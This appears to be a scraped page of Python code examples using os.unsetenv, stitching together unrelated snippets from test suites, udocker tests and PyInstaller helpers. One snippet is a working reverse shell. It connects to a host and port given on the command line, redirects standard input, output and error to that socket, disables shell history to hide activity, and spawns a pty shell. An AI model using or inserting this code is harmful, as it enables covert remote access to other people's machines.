def tearDownModule():
ESInfo.server.shutdown()
IndexSuffix.reset()
os.unsetenv('DSS_ES_PORT')
python类unsetenv()的实例源码
def main():
if len(sys.argv) !=3:
usage(sys.argv[0])
sys.exit()
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((sys.argv[1],int(sys.argv[2])))
print 'connect ok'
except:
print 'connect faild'
sys.exit()
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
global shell
os.unsetenv("HISTFILE")
os.unsetenv("HISTFILESIZE")
os.unsetenv("HISTSIZE")
os.unsetenv("HISTORY")
os.unsetenv("HISTSAVE")
os.unsetenv("HISTZONE")
os.unsetenv("HISTLOG")
os.unsetenv("HISTCMD")
os.putenv("HISTFILE",'/dev/null')
os.putenv("HISTSIZE",'0')
os.putenv("HISTFILESIZE",'0')
pty.spawn(shell)
s.close()
def test_07_host_env(self, mock_msg):
"""Test passing of host env"""
if container_not_exists("busyRUN"):
self.skipTest("no container")
os.environ["UDOCKER_EXPORTED_VAR"] = "udocker exported var"
do_run(self, mock_msg,
[UDOCKER, "run", "--hostenv", "busyRUN", "/bin/env"],
None, " udocker exported var")
os.unsetenv("UDOCKER_EXPORTED_VAR")
def test_23_run_reg50(self, mock_msg):
"""Test create, ps, rm"""
os.environ["UDOCKER_CONTAINERS"] = "/tmp/udocker_containers"
do_action([UDOCKER, "rm", "busyTMP"])
do_run(self, mock_msg,
[UDOCKER, "create", "--name=busyTMP", "busybox"], None, None)
do_run(self, mock_msg,
[UDOCKER, "ps"], " busyTMP", None)
do_run(self, mock_msg,
[UDOCKER, "ps"], "!busyRUN", None)
# delete not owner (regression of #50)
do_run(self, mock_msg,
[UDOCKER, "rm", "busyTMP"], "!Error", None)
os.unsetenv("UDOCKER_CONTAINERS")
def machine():
"""
Return machine suffix to use in directory name when looking
for bootloader.
PyInstaller is reported to work even on ARM architecture. For that
case functions system() and architecture() are not enough.
Path to bootloader has to be composed from system(), architecture()
and machine() like:
'Linux-32bit-arm'
"""
mach = platform.machine()
if mach.startswith('arm'):
return 'arm'
else:
# Assume x86/x86_64 machine.
return None
# Set and get environment variables does not handle unicode strings correctly
# on Windows.
# Acting on os.environ instead of using getenv()/setenv()/unsetenv(),
# as suggested in <http://docs.python.org/library/os.html#os.environ>:
# "Calling putenv() directly does not change os.environ, so it's
# better to modify os.environ." (Same for unsetenv.)
def unsetenv(name):
"""
Delete the environment variable 'name'.
"""
# Some platforms (e.g. AIX) do not support `os.unsetenv()` and
# thus `del os.environ[name]` has no effect onto the real
# environment. For this case we set the value to the empty string.
os.environ[name] = ""
del os.environ[name]
# Exec commands in subprocesses.